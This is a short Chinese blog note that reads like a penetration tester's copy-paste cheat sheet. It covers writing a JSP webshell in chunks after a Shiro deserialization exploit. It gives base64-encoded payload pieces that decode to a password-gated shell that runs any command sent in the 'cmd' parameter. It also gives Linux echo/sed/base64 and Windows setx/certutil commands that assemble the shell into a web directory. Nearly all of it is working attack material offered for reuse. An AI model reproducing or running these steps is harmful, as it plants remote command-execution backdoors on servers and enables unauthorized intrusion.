題記
打工人偶爾摸魚看看技術文章,今天點到了一篇記錄shiro反序列化分段寫webshell的文章,記錄一下,方便以后Ctrl+c與Ctrl+v,因為經常會遇到需要手動寫webshell的情況。
Linux寫入webshell
1、准備好我們的馬
2、base64編碼(這里推薦編碼網站http://www.hiencode.com)
3、把編碼后的代碼分好段單獨寫入。
echo 'PCUKICAgIGlmKCJhZG1pbiIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpewogICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKS' > ./shell.jsp
第二段需要在行尾插入,原文語句我這里報錯,百度后以下代碼可以完成。
sed -i 's/$/kuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICBpbnQgYSA9IC0xOwogICAgICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07CiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7CiAgICAgICAgICAgIG91dC5wcmludGxuKG5ldyBTdHJpbmcoYikpOwogICAgICAgIH0KICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgfQolPg==/' ./shell.jsp
4、base解密重新寫入
cat ./shell.jsp|base64 -d > ./shell2.jsp
windows寫入webshell
1、設置永久環境變量
setx chunk_1 PCUKICAgIGlmKCJhZG1pbiIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpewogICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKS
setx chunk_2 kuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICBpbnQgYSA9IC0xOwogICAgICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07CiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7CiAgICAgICAgICAgIG91dC5wcmludGxuKG5ldyBTdHJpbmcoYikpOwogICAgICAgIH0KICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgfQolPg==
2、當設置完環境變量或N個環境變量后寫入文件(本機測試需要注意重開一個cmd框)
echo %chunk_1%%chunk_2% > ./text
3、解碼寫到web目錄下
certutil -decode ./text D:\git\phpStudy\PHPTutorial\WWW\shell.jsp
參考文章
記一次shiro反序列化無法寫入shell分析:http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247495176&idx=1&sn=268c6bf534ed3cc610ccb5df6d5bec73&chksm=c27ee419f5096d0f6720921d2f6d2183574c81cad0cc06c95dfa82f842f41099733e99705070&scene=132#wechat_redirect